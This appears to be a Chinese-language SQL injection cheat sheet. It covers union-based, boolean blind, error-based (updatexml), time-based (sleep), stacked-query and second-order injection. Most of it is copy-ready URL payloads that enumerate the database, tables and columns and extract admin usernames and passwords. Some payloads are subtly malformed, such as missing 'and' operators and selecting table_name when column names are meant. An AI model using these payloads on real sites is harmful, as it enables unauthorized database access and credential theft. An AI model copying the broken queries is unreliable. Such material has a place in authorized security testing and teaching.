一、字符型注入
針對如下php代碼進行注入:
$sql="select user_name from users where name='$_GET['name']'";
select user_name from users where name='admin'
http://url/xxx.php?name=admin' and '1'='1' --'
select user_name from users where name='admin' and '1'='1' --''
在上面的sql語句中可以發現,通過閉合原本的單引號,在后面添加新的查詢語句,可達到注入目的。(mysql中兩個單引號中間為空會被忽略,若出現單個單引號會有語法錯誤。)
成功后可以開始進行猜解數據庫了:
1、猜字段數
and 1=2 union?select 1,2,3,4,5,6……(字段數為多少,后面的數字就到幾,如union?select 1,2,3,4,5能夠成功返回結果則表示字段數為5)
或
order?by 6 (?當某一數字正常返回頁面就表示有多少個字段)
2、查庫
and 1=2 union select 1,2,3,database(),5,6--+? ? ? ?(利用第四個字段的顯示位來顯示數據庫名,具體位置看具體網站)
3、查表
and 1=2 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema=database()--+? ? ? ?(以MySQL為例 )
4、查字段
and 1=2 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema=database() and table_name='admin'--+? ? ? ?(以MySQL為例,其中admin和單引號?可以使用admin的十六進制代替,其他內容也可以。 )
5、查內容
and 1=2 union select 1,2,3,group_concat(username,password),5,6 from admin --+
上述單引號括起來的內容可以替換為內容的十六進制繞過單引號過濾。
?
二、布爾盲注(Boolean?with?blind SQL injection)
第一步:猜數據庫長度
?id=1' and length(database())>=1--+
>=1可以自己結合場景自己更換。
第二步:猜數據庫名
?id=1' and substr(database(),1,1)='a'--+? ?普通版
?id=1' and?ord(substr(database(),1,1))=97 --+? ?ASCII碼版---與上面意思相同
substr為截取字符串,從1開始。上面這段表示從1開始截取1個字符。
ord為MySQL中轉換ASCII碼的函數。
當測出第一個字符以后測試第二個字符?用substr(database(),2,1)=‘a’--+,一共需要測到第一步中猜測出來的長度。
第三步:猜表名
?id=1' and substr((select table_name from information_schema.tables where table_schema=database()?limit 0,1),1,1)='a'--+? ?直接版可以不用猜解數據庫名
?id=1' and substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),1,1)='a'--+? ?普通版?使用第二步猜解出來的數據庫名
?id=1' and?ord(substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),1,1))=97 --+? ?ASCII碼版---與上面意思相同
limit?函數表示取出內容的條數范圍,從0開始。上段內容limit 0,1表示從第一個開始取1條。則從第二個開始取一條為:limit 1,1。
第三步:猜字段名
?id=1' and substr((select table_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1),1,1)='a'--+? ?直接版可以不用猜解數據庫名
?id=1' and substr((select table_name from information_schema.columns where table_schema='sql' table_name='admin' limit 0,1),1,1)='a'--+? ?普通版?使用第二步猜解出來的數據庫名
?id=1' and?ord(substr((select table_name from information_schema.columns where table_schema='sql' table_name='admin' limit 0,1),1,1))=97 --+? ?ASCII碼版---與上面意思相同
上述單引號括起來的內容可以替換為內容的十六進制繞過單引號過濾。
第四步:猜內容
?id=1' and substr((select username from admin?limit 0,1),1,1)='a'--+? ?直接版可以不用猜解數據庫名
?id=1' and substr((select username from admin limit 0,1),1,1)='a'--+? ?普通版?使用第二步猜解出來的數據庫名
?id=1' and?ord(substr((select username from admin limit 0,1),1,1))=97 --+? ?ASCII碼版---與上面意思相同
?
三、報錯注入
由于程序員或網站維護人員的配置不當,錯誤信息被輸出到了前臺,導致可以根據報錯進行一系列的操作。
因此可以利用報錯注入獲取數據,報錯注入有很多格式,這里使用updatexml()
1、利用updatexml獲取user()
?user=admin‘ and updatexml(1,concat(0x7e,(select user())),1)--+
0x7e為ASCII碼的 ~?波浪號,為了在返回的報錯信息中很方便的查看到想要注入得到的數據,沒有別的功能性作用。
2、利用updatexml獲取database()
?user=admin‘ and updatexml(1,concat(0x7e,(select database())),1)--+
3、利用updatexml獲取數據庫內容
查表名:?user=admin‘ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)--+
查詢其他內容就不一一列舉,在上面一、二板塊有詳細內容,融會貫通靈活運用就可以。
其他報錯函數利用原理大致相同。
?
四、延時盲注攻擊(Sleep with?blind SQL injection)
又稱為時間盲注,與Boolean注入非常相似,不同之處在于延時注入使用的是sleep()、benchmark()等造成延時的函數從頁面返回耗時來判斷。
多用IF(exp1,exp2,exp3)結合使用,若exp1為真,則返回exp2,若exp2為假,則返回exp3。
1、判斷數據庫名長度
?id=1' and if(length(database())>=3,sleep(5),1)
sleep函數中的參數單位為秒。若數據庫長度>=3則睡5秒再返回內容給你,否則直接查詢1返回結果。
2、判斷數據庫內容
?id=1' and if(?ord(substr((select column_name from information_schema.columns where table_schema='sql' and table_name='admin' limit 0,1),1,1))=97,sleep(5),1)? 猜字段名
?id=1' and if(substr((select username from admin?limit 0,1),1,1)='a',sleep(5),1)? 猜字段內容
其他查詢語句可以參考上面一、二介紹的語句。
?
五、堆疊查詢注入攻擊
?id=1’?加了單引號頁面返回錯誤,?id=1' %23以后頁面返回正常則可以利用。
閉合原本的查詢語句,構造自己的查詢語句(利用方式為布爾盲注和時間盲注)。
1、猜數據庫名
?id=1'%23 select if(substr(database(),1,1)='a',sleep(5),1)%23? ?這里利用的是時間盲注
?id=1'%23 select if(ord(substr(database(),1,1))=97?,sleep(5),1)%23? ?這里利用的是布爾盲注
2、猜數據庫內容
?id=1'%23?if(ord(substr((select?table_name from information_schema.tables where table_schema='sql' limit 0,1),1,1))=97,sleep(5),1)%23?猜表名
?id=1'%23?if(ord(substr((select column_name from information_schema.columns where table_schema='sql' and table_name='admin' limit 0,1),1,1))=97,sleep(5),1)%23?猜字段名
其他查詢語句可以參考上面一、二、三、四介紹的語句。
?
六、二次注入
某一次用戶輸入的惡意構造內容被保存到數據中,當第二次從數據庫中去獲取該內容時,用戶輸入的惡意SQL語句截斷了第二次查詢的查詢語句,執行了用戶構造的語句。
比如在注冊用戶時?用戶名設置為?test‘?在test后面加個單引號,沒有過濾輸入而保存到數據庫中。當去訪問個人中心時,發現顯示用戶名的地方出現了數據庫報錯,單引號被帶到了查詢語句中執行了。
原理就是系統對數據庫中的內容沒有進行過濾而是采取信任,導致從外部無法注入卻從內部上查詢中注入成功。
?